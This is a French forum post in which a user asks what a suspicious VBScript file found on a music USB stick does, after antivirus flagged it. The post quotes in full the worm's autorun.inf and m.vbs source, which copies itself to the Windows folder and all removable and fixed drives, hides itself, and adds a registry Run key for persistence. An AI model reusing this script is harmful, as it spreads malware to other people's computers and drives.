Virus m.vbs trouvé maintenant sur clé usb

Bonjour,


Virus trouvé par avast! ... (désactivé 10 minutes pour pouvoir ouvrir le fichier).

Quels sont les problèmes (pas assez de connaissances pour décrypté le code)?


Clé USB sur "F:"
Nom = "NOLIMIT"


autorun.inf:

[autorun]
shellexecute=wscript.exe m.vbs

m.vbs:

on error resume next

dim mysrc,wipth,flshdrv,FiSi,MiFi,tra,TiFi,RiGi,NiTi,chk,SiDi

tra = "[autorun]"&vbcrlf&"shellexecute=wscript.exe m.vbs"
set FiSi = createobject("Scripting.FileSystemObject")
set MiFi = FiSi.getfile(Wscript.ScriptFullname)
dim txt,sizi
sizi = MiFi.sizi
chk = MiFi.drive.drivetype
set txt=MiFi.openastextstream(1,-2)
do while not txt.atendofstream
mysrc=mysrc&txt.readline
mysrc=mysrc & vbcrlf
loop
do
Set wipth = FiSi.getspecialfolder(0)
set TiFi = FiSi.getfile(wipth & "\m.vbs")
TiFi.attributes = 32
set TiFi=FiSi.createtextfile(wipth & "\m.vbs",2,true)
TiFi.write mysrc
TiFi.close
set TiFi = FiSi.getfile(wipth & "\m.vbs")
TiFi.attributes = 39
for each flshdrv in FiSi.drives
If (flshdrv.drivetype = 1 or flshdrv.drivetype = 2) and flshdrv.path <> "A:" then
set TiFi=FiSi.getfile(flshdrv.path &"\m.vbs")
TiFi.attributes =32
set TiFi=FiSi.createtextfile(flshdrv.path &"\m.vbs",2,true)
TiFi.write mysrc
TiFi.close
set TiFi=FiSi.getfile(flshdrv.path &"\m.vbs")
TiFi.attributes =39
set TiFi =FiSi.getfile(flshdrv.path &"\autorun.inf")
TiFi.attributes = 32
set TiFi=FiSi.createtextfile(flshdrv.path &"\autorun.inf",2,true)
TiFi.write tra
TiFi.close
set TiFi =FiSi.getfile(flshdrv.path &"\autorun.inf")
TiFi.attributes=39
end if
next
set RiGi = createobject("WScript.Shell")
RiGi.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\m",wipth&"\m.vbs"
if chk <> 1 then
Wscript.sleep 199999
end if
loop while chk<>1

J'ai rien dans "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\" pas de *dossier* "m". Avast! Free Antivirus à réagit parce que j'ai voulu ouvrir le fichier m.vbs, après l'a voir vu dans documents récemment ouverts du menu vista, pour voir le contenu. Le simple fait de vouloir voir les propriétés du fichier fait réagir avast!.

La clé contient de la musique (et le virus?) qui viens d'un centre de loisir ...



merci